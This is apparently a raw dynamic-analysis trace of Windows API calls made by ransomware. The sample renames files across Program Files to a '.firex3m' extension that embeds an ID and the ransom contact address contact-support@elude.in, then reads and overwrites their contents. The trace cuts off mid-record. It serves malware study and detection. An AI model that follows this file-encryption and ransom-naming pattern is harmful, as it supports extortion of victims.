[0226.014] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0226.014] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0226.015] GetProcessHeap () returned 0x630000 [0226.015] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d72c8 [0226.015] GetProcessHeap () returned 0x630000 [0226.015] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7ce8 [0226.015] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.015] ReadFile (in: hFile=0x4e8, lpBuffer=0x6d72c8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d72c8*, lpNumberOfBytesRead=0x3bbff0c*=0x240, lpOverlapped=0x0) returned 1 [0226.052] GetProcessHeap () returned 0x630000 [0226.052] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71771a0 [0226.052] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.052] WriteFile (in: hFile=0x4e8, lpBuffer=0x6d7ce8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7ce8*, lpNumberOfBytesWritten=0x3bbff0c*=0x240, lpOverlapped=0x0) returned 1 [0226.052] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.052] WriteFile (in: hFile=0x4e8, lpBuffer=0x6d7f27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7f27*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0226.053] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.053] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0226.053] CloseHandle (hObject=0x4e8) returned 1 [0226.053] GetProcessHeap () returned 0x630000 [0226.053] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7ce8 | out: hHeap=0x630000) returned 1 [0226.053] GetProcessHeap () returned 0x630000 [0226.053] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d72c8 | out: hHeap=0x630000) returned 1 [0226.053] GetProcessHeap () returned 0x630000 [0226.053] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71771a0 | out: hHeap=0x630000) returned 1 [0226.053] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.053] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4caf0682, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x3bbfd20, dwReserved1=0x6d72c8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0226.053] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0226.053] Sleep (dwMilliseconds=0x1) [0226.099] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl", len=0x3f | out: pbstr=0x3bbff7c*="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl") returned 1 [0226.099] GetProcessHeap () returned 0x630000 [0226.099] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51bc) returned 0x6fe3bb0 [0226.100] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.029.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0226.118] CloseHandle (hObject=0x6f4) returned 1 [0226.118] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.118] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.029.etl"), lpNewFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.029.etl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.170] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749ce1ef, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x749ce1ef, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x94dd5302, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.029.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNIVER~2.FIR")) returned 0x6d5580 [0226.170] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0226.170] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.029.etl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0226.171] GetProcessHeap () returned 0x630000 [0226.171] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee88b8 [0226.171] GetProcessHeap () returned 0x630000 [0226.171] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d5490 [0226.171] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.172] ReadFile (in: hFile=0x6f4, lpBuffer=0x6ee88b8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee88b8*, lpNumberOfBytesRead=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0231.776] GetProcessHeap () returned 0x630000 [0231.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177948 [0231.776] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.776] WriteFile (in: hFile=0x6f4, lpBuffer=0x71d5490*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesWritten=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.077] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.077] WriteFile (in: hFile=0x6f4, lpBuffer=0x71e088f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e088f*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.667] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.667] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.668] CloseHandle (hObject=0x6f4) returned 1 [0233.973] GetProcessHeap () returned 0x630000 [0233.973] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0233.973] GetProcessHeap () returned 0x630000 [0233.973] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee88b8 | out: hHeap=0x630000) returned 1 [0233.973] GetProcessHeap () returned 0x630000 [0233.973] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177948 | out: hHeap=0x630000) returned 1 [0235.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.139] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749ce1ef, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x749ce1ef, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5139812c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x40024, dwReserved0=0xc947496, dwReserved1=0x6ee88b0, cFileName="UniversalNotificationPlatform.029.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNIVER~2.FIR")) returned 0x6d4f80 [0235.139] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0235.139] Sleep (dwMilliseconds=0x1) [0235.159] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Windows Security\\3dftp.exe", len=0x2b | out: pbstr=0x3bbff7c*="C:\\Program Files\\Windows Security\\3dftp.exe") returned 1 [0235.159] GetProcessHeap () returned 0x630000 [0235.159] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50ac) returned 0x6fe3bb0 [0235.159] CreateFileW (lpFileName="C:\\Program Files\\Windows Security\\3dftp.exe" (normalized: "c:\\program files\\windows security\\3dftp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.160] Sleep (dwMilliseconds=0x1) [0235.192] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\index.html", len=0x6f | out: pbstr=0x3bbff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\index.html") returned 1 [0235.192] GetProcessHeap () returned 0x630000 [0235.192] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x508c) returned 0x6fe3bb0 [0235.192] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0235.193] CloseHandle (hObject=0x704) returned 1 [0235.193] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.193] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.194] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.194] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa80d, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5200 [0235.194] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0235.194] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0235.194] GetProcessHeap () returned 0x630000 [0235.194] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa821) returned 0x72846e0 [0235.194] GetProcessHeap () returned 0x630000 [0235.194] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa821) returned 0x6ec0048 [0235.194] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.194] ReadFile (in: hFile=0x704, lpBuffer=0x72846e0, nNumberOfBytesToRead=0xa800, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x72846e0*, lpNumberOfBytesRead=0x3bbff0c*=0xa800, lpOverlapped=0x0) returned 1 [0242.885] GetProcessHeap () returned 0x630000 [0242.885] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745bea0 [0242.885] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.885] WriteFile (in: hFile=0x704, lpBuffer=0x6ec0048*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesWritten=0x3bbff0c*=0xa800, lpOverlapped=0x0) returned 1 [0242.885] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.885] WriteFile (in: hFile=0x704, lpBuffer=0x6eca847*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eca847*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0242.885] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.885] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0242.886] CloseHandle (hObject=0x704) returned 1 [0242.886] GetProcessHeap () returned 0x630000 [0242.886] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0242.889] GetProcessHeap () returned 0x630000 [0242.889] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72846e0 | out: hHeap=0x630000) returned 1 [0242.889] GetProcessHeap () returned 0x630000 [0242.889] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745bea0 | out: hHeap=0x630000) returned 1 [0243.047] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x56b7bb53, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa831, dwReserved0=0xc947496, dwReserved1=0x72846d8, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5400 [0243.048] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0243.048] Sleep (dwMilliseconds=0x1) [0243.070] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-32.png", len=0x81 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-32.png") returned 1 [0243.070] GetProcessHeap () returned 0x630000 [0243.070] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5450) returned 0x6fe3bb0 [0243.071] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\money_logosmall.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.071] Sleep (dwMilliseconds=0x1) [0243.086] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.targetsize-16.png", len=0x90 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.targetsize-16.png") returned 1 [0243.087] GetProcessHeap () returned 0x630000 [0243.087] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5418) returned 0x6fe3bb0 [0243.087] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\money_logosmall.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.087] Sleep (dwMilliseconds=0x1) [0243.102] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\resources.pri", len=0x60 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\resources.pri") returned 1 [0243.103] GetProcessHeap () returned 0x630000 [0243.103] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53e4) returned 0x6fe3bb0 [0243.103] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.117] Sleep (dwMilliseconds=0x1) [0243.146] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", len=0x75 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned 1 [0243.146] GetProcessHeap () returned 0x630000 [0243.146] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5374) returned 0x6fe3bb0 [0243.147] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.241] Sleep (dwMilliseconds=0x1) [0245.843] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl", len=0x77 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl") returned 1 [0245.843] GetProcessHeap () returned 0x630000 [0245.843] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e5c) returned 0x6fe3bb0 [0245.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0245.871] CloseHandle (hObject=0x4e8) returned 1 [0245.871] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0245.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\as80.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0245.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a79751b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a79751b, ftLastAccessTime.dwHighDateTime=0x1d327e8, 